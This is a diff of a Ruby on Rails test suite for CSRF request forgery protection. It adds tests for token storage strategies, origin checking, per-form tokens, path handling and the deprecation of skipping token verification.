+  def form_with_local_with_token
+    render inline: "<%= form_with(scope: :some_resource, local: true, authenticity_token: true) {} %>"
+  end
+
+  def form_with_remote_with_external_token
+    render inline: "<%= form_with(scope: :some_resource, authenticity_token: 'external_token') {} %>"
+  end
+
   def same_origin_js
     render js: "foo();"
   end
@@ -84,6 +103,24 @@ def try_to_reset_session
   end
 end
 
+class RequestForgeryProtectionControllerUsingCustomStrategy < ActionController::Base
+  include RequestForgeryProtectionActions
+
+  class FakeException < Exception; end
+
+  class CustomStrategy
+    def initialize(controller)
+      @controller = controller
+    end
+
+    def handle_unverified_request
+      raise FakeException, "Raised a fake exception."
+    end
+  end
+
+  protect_from_forgery only: %w(index meta same_origin_js negotiate_same_origin), with: CustomStrategy
+end
+
 class PrependProtectForgeryBaseController < ActionController::Base
   before_action :custom_action
   attr_accessor :called_callbacks
@@ -93,7 +130,6 @@ def index
   end
 
   private
-
     def add_called_callback(name)
       @called_callbacks ||= []
       @called_callbacks << name
@@ -106,6 +142,10 @@ def custom_action
     def verify_authenticity_token
       add_called_callback("verify_authenticity_token")
     end
+
+    def verify_request_for_forgery_protection
+      add_called_callback("verify_request_for_forgery_protection")
+    end
 end
 
 class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
@@ -147,10 +187,73 @@ def post_two
   end
 end
 
+class SkipProtectionController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery with: :exception
+  skip_forgery_protection if: :skip_requested
+  attr_accessor :skip_requested
+end
+
+class SkipProtectionWhenUnprotectedController < ActionController::Base
+  include RequestForgeryProtectionActions
+  skip_forgery_protection
+end
+
+# Controller using the deprecated skip_before_action :verify_authenticity_token
+class DeprecatedSkipVerifyAuthenticityTokenController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery with: :exception
+  skip_before_action :verify_authenticity_token
+end
+
+class CookieCsrfTokenStorageStrategyController < ActionController::Base
+  include RequestForgeryProtectionActions
+
+  after_action :commit_token, only: :cookie
+
+  protect_from_forgery only: %w(index meta same_origin_js negotiate_same_origin), with: :exception, store: :cookie
+
+  def reset
+    reset_csrf_token(request)
+    head :ok
+  end
+
+  def cookie
+    render inline: "<%= csrf_meta_tags %>"
+  end
+
+  private
+    def commit_token
+      request.commit_csrf_token
+    end
+end
+
+class CustomCsrfTokenStorageStrategyController < ActionController::Base
+  include RequestForgeryProtectionActions
+
+  class CustomStrategy
+    def fetch(request)
+      request.env[:custom_storage]
+    end
+
+    def store(request, csrf_token)
+      request.env[:custom_storage] = csrf_token
+    end
+
+    def reset(request)
+      request.env[:custom_storage] = nil
+    end
+  end
+
+  protect_from_forgery only: %w(index meta same_origin_js negotiate_same_origin),
+    with: :reset_session,
+    store: CustomStrategy.new
+end
+
 # common test methods
 module RequestForgeryProtectionTests
   def setup
-    @token = Base64.strict_encode64("railstestrailstestrailstestrails")
+    @token = Base64.urlsafe_encode64("railstestrailstestrailstestrails")
     @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
     ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
   end
@@ -235,6 +338,80 @@ def test_should_render_form_with_token_tag_with_authenticity_token_requested
     end
   end
 
+  def test_should_render_form_with_with_token_tag_if_remote
+    assert_not_blocked do
+      get :form_with_remote
+    end
+    assert_match(/authenticity_token/, response.body)
+  end
+
+  def test_should_render_form_with_without_token_tag_if_remote_and_embedding_token_is_off
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = false
+      assert_not_blocked do
+        get :form_with_remote
+      end
+      assert_no_match(/authenticity_token/, response.body)
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_external_authenticity_token_requested_and_embedding_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_with_remote_with_external_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_external_authenticity_token_requested
+    assert_not_blocked do
+      get :form_with_remote_with_external_token
+    end
+    assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_with_remote_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_with_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_with_local_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_embedding_token_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+
+      @controller.stub :form_authenticity_token, @token do
+        assert_not_blocked do
+          get :form_with_remote
+        end
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
   def test_should_allow_get
     assert_not_blocked { get :index }
   end
@@ -272,60 +449,69 @@ def test_should_not_allow_xhr_post_without_token
   end
 
   def test_should_allow_post_with_token
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @controller.stub :form_authenticity_token, @token do
       assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
     end
   end
 
+  def test_should_allow_post_with_strict_encoded_token
+    token_length = (ActionController::RequestForgeryProtection::AUTHENTICITY_TOKEN_LENGTH * 4.0 / 3).ceil
+    token_including_url_unsafe_chars = "+/".ljust(token_length, "A")
+    initialize_csrf_token(token_including_url_unsafe_chars)
+    @controller.stub :form_authenticity_token, token_including_url_unsafe_chars do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: token_including_url_unsafe_chars } }
+    end
+  end
+
   def test_should_allow_patch_with_token
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @controller.stub :form_authenticity_token, @token do
       assert_not_blocked { patch :index, params: { custom_authenticity_token: @token } }
     end
   end
 
   def test_should_allow_put_with_token
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @controller.stub :form_authenticity_token, @token do
       assert_not_blocked { put :index, params: { custom_authenticity_token: @token } }
     end
   end
 
   def test_should_allow_delete_with_token
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @controller.stub :form_authenticity_token, @token do
       assert_not_blocked { delete :index, params: { custom_authenticity_token: @token } }
     end
   end
 
   def test_should_allow_post_with_token_in_header
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @request.env["HTTP_X_CSRF_TOKEN"] = @token
     assert_not_blocked { post :index }
   end
 
   def test_should_allow_delete_with_token_in_header
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @request.env["HTTP_X_CSRF_TOKEN"] = @token
     assert_not_blocked { delete :index }
   end
 
   def test_should_allow_patch_with_token_in_header
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @request.env["HTTP_X_CSRF_TOKEN"] = @token
     assert_not_blocked { patch :index }
   end
 
   def test_should_allow_put_with_token_in_header
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     @request.env["HTTP_X_CSRF_TOKEN"] = @token
     assert_not_blocked { put :index }
   end
 
   def test_should_allow_post_with_origin_checking_and_correct_origin
     forgery_protection_origin_check do
-      session[:_csrf_token] = @token
+      initialize_csrf_token
       @controller.stub :form_authenticity_token, @token do
         assert_not_blocked do
           @request.set_header "HTTP_ORIGIN", "http://test.host"
@@ -337,7 +523,7 @@ def test_should_allow_post_with_origin_checking_and_correct_origin
 
   def test_should_allow_post_with_origin_checking_and_no_origin
     forgery_protection_origin_check do
-      session[:_csrf_token] = @token
+      initialize_csrf_token
       @controller.stub :form_authenticity_token, @token do
         assert_not_blocked do
           post :index, params: { custom_authenticity_token: @token }
@@ -346,37 +532,63 @@ def test_should_allow_post_with_origin_checking_and_no_origin
     end
   end
 
+  def test_should_raise_for_post_with_null_origin
+    forgery_protection_origin_check do
+      initialize_csrf_token
+      @controller.stub :form_authenticity_token, @token do
+        exception = assert_raises(ActionController::InvalidCrossOriginRequest) do
+          @request.set_header "HTTP_ORIGIN", "null"
+          post :index, params: { custom_authenticity_token: @token }
+        end
+        assert_match "The browser returned a 'null' origin for a request", exception.message
+      end
+    end
+  end
+
   def test_should_block_post_with_origin_checking_and_wrong_origin
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = logger
+
     forgery_protection_origin_check do
-      session[:_csrf_token] = @token
+      initialize_csrf_token
       @controller.stub :form_authenticity_token, @token do
-        assert_blocked do
+        assert_origin_blocked do
           @request.set_header "HTTP_ORIGIN", "http://bad.host"
           post :index, params: { custom_authenticity_token: @token }
         end
       end
     end
+
+    assert_match(
+      "HTTP Origin header (http://bad.host) didn't match request.base_url (http://test.host)",
+      logger.logged(:warn).last
+    )
+  ensure
+    ActionController::LogSubscriber.logger = old_logger
   end
 
+
   def test_should_warn_on_missing_csrf_token
-    old_logger = ActionController::Base.logger
     logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
-    ActionController::Base.logger = logger
+    old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = logger
 
     begin
       assert_blocked { post :index }
 
-      assert_equal 1, logger.logged(:warn).size
+      assert_equal 2, logger.logged(:warn).size
+      assert_match(/Falling back to CSRF token/, logger.logged(:warn).first)
       assert_match(/CSRF token authenticity/, logger.logged(:warn).last)
     ensure
-      ActionController::Base.logger = old_logger
+      ActionController::LogSubscriber.logger = old_logger
     end
   end
 
   def test_should_not_warn_if_csrf_logging_disabled
-    old_logger = ActionController::Base.logger
     logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
-    ActionController::Base.logger = logger
+    old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = logger
     ActionController::Base.log_warning_on_csrf_failure = false
 
     begin
@@ -384,7 +596,7 @@ def test_should_not_warn_if_csrf_logging_disabled
 
       assert_equal 0, logger.logged(:warn).size
     ensure
-      ActionController::Base.logger = old_logger
+      ActionController::LogSubscriber.logger = old_logger
       ActionController::Base.log_warning_on_csrf_failure = true
     end
   end
@@ -397,6 +609,11 @@ def test_should_only_allow_same_origin_js_get_with_xhr_header
       get :negotiate_same_origin
     end
 
+    assert_cross_origin_blocked do
+      @request.accept = "application/javascript"
+      get :negotiate_same_origin
+    end
+
     assert_cross_origin_not_blocked { get :same_origin_js, xhr: true }
     assert_cross_origin_not_blocked { get :same_origin_js, xhr: true, format: "js" }
     assert_cross_origin_not_blocked do
@@ -406,9 +623,9 @@ def test_should_only_allow_same_origin_js_get_with_xhr_header
   end
 
   def test_should_warn_on_not_same_origin_js
-    old_logger = ActionController::Base.logger
     logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
-    ActionController::Base.logger = logger
+    old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = logger
 
     begin
       assert_cross_origin_blocked { get :same_origin_js }
@@ -416,14 +633,14 @@ def test_should_warn_on_not_same_origin_js
       assert_equal 1, logger.logged(:warn).size
       assert_match(/<script> tag on another site requested protected JavaScript/, logger.logged(:warn).last)
     ensure
-      ActionController::Base.logger = old_logger
+      ActionController::LogSubscriber.logger = old_logger
     end
   end
 
   def test_should_not_warn_if_csrf_logging_disabled_and_not_same_origin_js
-    old_logger = ActionController::Base.logger
     logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
-    ActionController::Base.logger = logger
+    old_logger = ActionController::LogSubscriber.logger
+    ActionController::LogSubscriber.logger = logger
     ActionController::Base.log_warning_on_csrf_failure = false
 
     begin
@@ -431,14 +648,14 @@ def test_should_not_warn_if_csrf_logging_disabled_and_not_same_origin_js
 
       assert_equal 0, logger.logged(:warn).size
     ensure
-      ActionController::Base.logger = old_logger
+      ActionController::LogSubscriber.logger = old_logger
       ActionController::Base.log_warning_on_csrf_failure = true
     end
   end
 
   # Allow non-GET requests since GET is all a remote <script> tag can muster.
   def test_should_allow_non_get_js_without_xhr_header
-    session[:_csrf_token] = @token
+    initialize_csrf_token
     assert_cross_origin_not_blocked { post :same_origin_js, params: { custom_authenticity_token: @token } }
     assert_cross_origin_not_blocked { post :same_origin_js, params: { format: "js", custom_authenticity_token: @token } }
     assert_cross_origin_not_blocked do
@@ -463,12 +680,25 @@ def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_
     end
   end
 
+  def test_csrf_token_is_not_saved_if_it_is_nil
+    @controller.commit_csrf_token(@request)
+    assert_nil fetch_csrf_token
+  end
+
   def test_should_not_raise_error_if_token_is_not_a_string
     assert_blocked do
-      patch :index, params: { custom_authenticity_token: { foo: "bar" } }
+      patch :index, params: { custom_authenticity_token: 1 }, as: :json
     end
   end
 
+  def initialize_csrf_token(token = @token, session = self.session)
+    session[:_csrf_token] = token
+  end
+
+  def fetch_csrf_token
+    session[:_csrf_token]
+  end
+
   def assert_blocked
     session[:something_like_user_id] = 1
     yield
@@ -476,19 +706,26 @@ def assert_blocked
     assert_response :success
   end
 
-  def assert_not_blocked
-    assert_nothing_raised { yield }
+  def assert_not_blocked(&block)
+    session[:something_like_user_id] = 1
+    assert_nothing_raised(&block)
+    assert_equal 1, session[:something_like_user_id]
     assert_response :success
   end
 
-  def assert_cross_origin_blocked
-    assert_raises(ActionController::InvalidCrossOriginRequest) do
-      yield
-    end
+  def assert_cross_origin_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def assert_cross_origin_not_blocked(&block)
+    assert_not_blocked(&block)
   end
 
-  def assert_cross_origin_not_blocked
-    assert_not_blocked { yield }
+  # For origin check failures - defaults to assert_blocked which is overridden
+  # by individual test classes. Test classes using :exception strategy should
+  # override this to expect InvalidCrossOriginRequest.
+  def assert_origin_blocked(&block)
+    assert_blocked(&block)
   end
 
   def forgery_protection_origin_check
@@ -520,13 +757,14 @@ class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController
 
 class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
   class NullSessionDummyKeyGenerator
-    def generate_key(secret)
+    def generate_key(secret, length = nil)
       "03312270731a2ed0d11ed091c2338a06"
     end
   end
 
   def setup
     @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
+    @request.env[ActionDispatch::Cookies::COOKIES_ROTATIONS] = ActiveSupport::Messages::RotationConfiguration.new
   end
 
   test "should allow to set signed cookies" do
@@ -547,13 +785,40 @@ def setup
 
 class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
   include RequestForgeryProtectionTests
-  def assert_blocked
-    assert_raises(ActionController::InvalidAuthenticityToken) do
-      yield
+
+  def assert_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def assert_origin_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def test_raised_exception_message_explains_why_it_occurred
+    forgery_protection_origin_check do
+      initialize_csrf_token
+      @controller.stub :form_authenticity_token, @token do
+        exception = assert_raises(ActionController::InvalidCrossOriginRequest) do
+          @request.set_header "HTTP_ORIGIN", "http://bad.host"
+          post :index, params: { custom_authenticity_token: @token }
+        end
+        assert_match(
+          "HTTP Origin header (http://bad.host) didn't match request.base_url (http://test.host)",
+          exception.message
+        )
+      end
     end
   end
 end
 
+class RequestForgeryProtectionControllerUsingCustomStrategyTest < ActionController::TestCase
+  include RequestForgeryProtectionTests
+
+  def assert_blocked(&block)
+    assert_raises(RequestForgeryProtectionControllerUsingCustomStrategy::FakeException, &block)
+  end
+end
+
 class PrependProtectForgeryBaseControllerTest < ActionController::TestCase
   PrependTrueController = Class.new(PrependProtectForgeryBaseController) do
     protect_from_forgery prepend: true
@@ -567,24 +832,24 @@ class PrependProtectForgeryBaseControllerTest < ActionController::TestCase
     protect_from_forgery
   end
 
-  def test_verify_authenticity_token_is_prepended
+  def test_forgery_protection_callbacks_are_prepended_in_correct_order
     @controller = PrependTrueController.new
     get :index
-    expected_callback_order = ["verify_authenticity_token", "custom_action"]
+    expected_callback_order = ["verify_authenticity_token", "verify_request_for_forgery_protection", "custom_action"]
     assert_equal(expected_callback_order, @controller.called_callbacks)
   end
 
-  def test_verify_authenticity_token_is_not_prepended
+  def test_forgery_protection_callbacks_are_not_prepended
     @controller = PrependFalseController.new
     get :index
-    expected_callback_order = ["custom_action", "verify_authenticity_token"]
+    expected_callback_order = ["custom_action", "verify_authenticity_token", "verify_request_for_forgery_protection"]
     assert_equal(expected_callback_order, @controller.called_callbacks)
   end
 
-  def test_verify_authenticity_token_is_not_prepended_by_default
+  def test_forgery_protection_callbacks_are_not_prepended_by_default
     @controller = PrependDefaultController.new
     get :index
-    expected_callback_order = ["custom_action", "verify_authenticity_token"]
+    expected_callback_order = ["custom_action", "verify_authenticity_token", "verify_request_for_forgery_protection"]
     assert_equal(expected_callback_order, @controller.called_callbacks)
   end
 end
@@ -597,21 +862,21 @@ def setup
   end
 
   def test_should_not_render_form_with_token_tag
-    SecureRandom.stub :base64, @token do
+    SecureRandom.stub :urlsafe_base64, @token do
       get :index
       assert_select "form>div>input[name=?][value=?]", "authenticity_token", @token, false
     end
   end
 
   def test_should_not_render_button_to_with_token_tag
-    SecureRandom.stub :base64, @token do
+    SecureRandom.stub :urlsafe_base64, @token do
       get :show_button
       assert_select "form>div>input[name=?][value=?]", "authenticity_token", @token, false
     end
   end
 
   def test_should_allow_all_methods_without_token
-    SecureRandom.stub :base64, @token do
+    SecureRandom.stub :urlsafe_base64, @token do
       [:post, :patch, :put, :delete].each do |method|
         assert_nothing_raised { send(method, :index) }
       end
@@ -619,9 +884,9 @@ def test_should_allow_all_methods_without_token
   end
 
   test "should not emit a csrf-token meta tag" do
-    SecureRandom.stub :base64, @token do
+    SecureRandom.stub :urlsafe_base64, @token do
       get :meta
-      assert @response.body.blank?
+      assert_predicate @response.body, :blank?
     end
   end
 end
@@ -629,9 +894,9 @@ def test_should_allow_all_methods_without_token
 class CustomAuthenticityParamControllerTest < ActionController::TestCase
   def setup
     super
-    @old_logger = ActionController::Base.logger
+    @old_logger = ActionController::LogSubscriber.logger
     @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
-    @token = Base64.strict_encode64(SecureRandom.random_bytes(32))
+    @token = Base64.urlsafe_encode64(SecureRandom.random_bytes(32))
     @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
     ActionController::Base.request_forgery_protection_token = @token
   end
@@ -642,25 +907,30 @@ def teardown
   end
 
   def test_should_not_warn_if_form_authenticity_param_matches_form_authenticity_token
-    ActionController::Base.logger = @logger
+    ActionController::LogSubscriber.logger = @logger
     begin
       @controller.stub :valid_authenticity_token?, :true do
         post :index, params: { custom_token_name: "foobar" }
-        assert_equal 0, @logger.logged(:warn).size
+        # 1 warning for falling back to CSRF token (no Sec-Fetch-Site header)
+        assert_equal 1, @logger.logged(:warn).size
+        assert_match(/Falling back to CSRF token/, @logger.logged(:warn).first)
       end
     ensure
-      ActionController::Base.logger = @old_logger
+      ActionController::LogSubscriber.logger = @old_logger
     end
   end
 
   def test_should_warn_if_form_authenticity_param_does_not_match_form_authenticity_token
-    ActionController::Base.logger = @logger
+    ActionController::LogSubscriber.logger = @logger
 
     begin
       post :index, params: { custom_token_name: "bazqux" }
-      assert_equal 1, @logger.logged(:warn).size
+      # 2 warnings: fallback warning + CSRF token authenticity warning
+      assert_equal 2, @logger.logged(:warn).size
+      assert_match(/Falling back to CSRF token/, @logger.logged(:warn).first)
+      assert_match(/CSRF token authenticity/, @logger.logged(:warn).last)
     ensure
-      ActionController::Base.logger = @old_logger
+      ActionController::LogSubscriber.logger = @old_logger
     end
   end
 end
@@ -678,7 +948,7 @@ def teardown
   def test_per_form_token_is_same_size_as_global_token
     get :index
     expected = ActionController::RequestForgeryProtection::AUTHENTICITY_TOKEN_LENGTH
-    actual = @controller.send(:per_form_csrf_token, session, "/path", "post").size
+    actual = @controller.send(:per_form_csrf_token, nil, "/path", "post").size
     assert_equal expected, actual
   end
 
@@ -697,6 +967,33 @@ def test_accepts_token_for_correct_path_and_method
     assert_response :success
   end
 
+  def test_accepts_token_with_path_with_query_params
+    get :index
+    form_token = assert_presence_and_fetch_form_csrf_token
+    assert_matches_session_token_on_server form_token
+
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    @request.env["QUERY_STRING"] = "key=value"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+  end
+
+  def test_rejects_garbage_path
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token
+
+    # Set invalid URI in PATH_INFO
+    @request.env["PATH_INFO"] = "/foo/bar<"
+    exception = assert_raises(ActionController::InvalidCrossOriginRequest) do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_match "Can't verify CSRF token authenticity.", exception.message
+  end
+
   def test_rejects_token_for_incorrect_path
     get :index
 
@@ -706,7 +1003,7 @@ def test_rejects_token_for_incorrect_path
 
     # This is required because PATH_INFO isn't reset between requests.
     @request.env["PATH_INFO"] = "/per_form_tokens/post_two"
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
       post :post_two, params: { custom_authenticity_token: form_token }
     end
   end
@@ -720,7 +1017,7 @@ def test_rejects_token_for_incorrect_method
 
     # This is required because PATH_INFO isn't reset between requests.
     @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
       patch :post_one, params: { custom_authenticity_token: form_token }
     end
   end
@@ -734,7 +1031,7 @@ def test_rejects_token_for_incorrect_method_button_to
 
     # This is required because PATH_INFO isn't reset between requests.
     @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
       patch :post_one, params: { custom_authenticity_token: form_token }
     end
   end
@@ -782,7 +1079,40 @@ def test_accepts_global_csrf_token
     assert_response :success
   end
 
-  def test_ignores_params
+  def test_does_not_return_old_csrf_token
+    get :index
+
+    token = @controller.send(:form_authenticity_token)
+
+    unmasked_token = @controller.send(:unmask_token, Base64.urlsafe_decode64(token))
+
+    assert_not_equal @controller.send(:real_csrf_token), unmasked_token
+  end
+
+  def test_returns_hmacd_token
+    get :index
+
+    token = @controller.send(:form_authenticity_token)
+
+    unmasked_token = @controller.send(:unmask_token, Base64.urlsafe_decode64(token))
+
+    assert_equal @controller.send(:global_csrf_token), unmasked_token
+  end
+
+  def test_accepts_old_csrf_token
+    get :index
+
+    non_hmac_token = @controller.send(:mask_token, @controller.send(:real_csrf_token))
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: non_hmac_token }
+    end
+    assert_response :success
+  end
+
+  def test_chomps_slashes
     get :index, params: { form_path: "/per_form_tokens/post_one?foo=bar" }
 
     form_token = assert_presence_and_fetch_form_csrf_token
@@ -790,7 +1120,7 @@ def test_ignores_params
     assert_matches_session_token_on_server form_token
 
     # This is required because PATH_INFO isn't reset between requests.
-    @request.env["PATH_INFO"] = "/per_form_tokens/post_one?foo=baz"
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
     assert_nothing_raised do
       post :post_one, params: { custom_authenticity_token: form_token, baz: "foo" }
     end
@@ -810,56 +1140,739 @@ def test_ignores_trailing_slash_during_generation
     assert_response :success
   end
 
-  def test_ignores_origin_during_generation
-    get :index, params: { form_path: "https://example.com/per_form_tokens/post_one/" }
+  def test_handles_empty_path_as_request_path
+    get :index, params: { form_path: "" }
 
     form_token = assert_presence_and_fetch_form_csrf_token
 
     # This is required because PATH_INFO isn't reset between requests.
-    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    @request.env["PATH_INFO"] = "/per_form_tokens"
     assert_nothing_raised do
       post :post_one, params: { custom_authenticity_token: form_token }
     end
     assert_response :success
   end
 
-  def test_ignores_trailing_slash_during_validation
-    get :index
+  def test_handles_relative_paths
+    get :index, params: { form_path: "post_one" }
 
     form_token = assert_presence_and_fetch_form_csrf_token
 
     # This is required because PATH_INFO isn't reset between requests.
-    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
     assert_nothing_raised do
       post :post_one, params: { custom_authenticity_token: form_token }
     end
     assert_response :success
   end
 
-  def test_method_is_case_insensitive
-    get :index, params: { form_method: "POST" }
+  def test_handles_relative_paths_with_dot
+    get :index, params: { form_path: "./post_one" }
 
     form_token = assert_presence_and_fetch_form_csrf_token
+
     # This is required because PATH_INFO isn't reset between requests.
-    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
     assert_nothing_raised do
       post :post_one, params: { custom_authenticity_token: form_token }
     end
     assert_response :success
   end
 
-  private
-    def assert_presence_and_fetch_form_csrf_token
-      assert_select 'input[name="custom_authenticity_token"]' do |input|
-        form_csrf_token = input.first["value"]
-        assert_not_nil form_csrf_token
-        return form_csrf_token
-      end
+  def test_handles_query_string
+    get :index, params: { form_path: "./post_one?a=b" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
     end
+    assert_response :success
+  end
 
-    def assert_matches_session_token_on_server(form_token, method = "post")
-      actual = @controller.send(:unmask_token, Base64.strict_decode64(form_token))
-      expected = @controller.send(:per_form_csrf_token, session, "/per_form_tokens/post_one", method)
-      assert_equal expected, actual
+  def test_handles_fragment
+    get :index, params: { form_path: "./post_one#a" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
     end
+    assert_response :success
+  end
+
+  def test_ignores_origin_during_generation
+    get :index, params: { form_path: "https://example.com/per_form_tokens/post_one/" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_ignores_trailing_slash_during_validation
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_method_is_case_insensitive
+    get :index, params: { form_method: "POST" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one/"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  private
+    def assert_presence_and_fetch_form_csrf_token
+      assert_select 'input[name="custom_authenticity_token"]' do |input|
+        form_csrf_token = input.first["value"]
+        assert_not_nil form_csrf_token
+        return form_csrf_token
+      end
+    end
+
+    def assert_matches_session_token_on_server(form_token, method = "post")
+      actual = @controller.send(:unmask_token, Base64.urlsafe_decode64(form_token))
+      expected = @controller.send(:per_form_csrf_token, nil, "/per_form_tokens/post_one", method)
+      assert_equal expected, actual
+    end
+end
+
+class SkipProtectionControllerTest < ActionController::TestCase
+  def test_should_not_allow_post_without_token_when_not_skipping
+    @controller.skip_requested = false
+    assert_blocked { post :index }
+  end
+
+  def test_should_allow_post_without_token_when_skipping
+    @controller.skip_requested = true
+    assert_not_blocked { post :index }
+  end
+
+  def assert_blocked(&block)
+    assert_raises(ActionController::InvalidCrossOriginRequest, &block)
+  end
+
+  def assert_not_blocked(&block)
+    assert_nothing_raised(&block)
+    assert_response :success
+  end
+end
+
+class SkipProtectionWhenUnprotectedControllerTest < ActionController::TestCase
+  def test_should_allow_skip_request_when_protection_is_not_set
+    assert_not_blocked { post :index }
+  end
+
+  def assert_not_blocked(&block)
+    assert_nothing_raised(&block)
+    assert_response :success
+  end
+end
+
+class DeprecatedSkipVerifyAuthenticityTokenControllerTest < ActionController::TestCase
+  def test_should_allow_post_without_token_with_deprecation_warning
+    assert_deprecated(ActiveSupport.deprecator) do
+      post :index
+    end
+    assert_response :success
+  end
+
+  def test_deprecation_message_suggests_skip_forgery_protection
+    assert_deprecated(/skip_forgery_protection/, ActiveSupport.deprecator) do
+      post :index
+    end
+  end
+
+  def test_should_not_raise_exception_when_skipped
+    assert_deprecated(ActiveSupport.deprecator) do
+      assert_nothing_raised do
+        post :index
+      end
+    end
+  end
+end
+
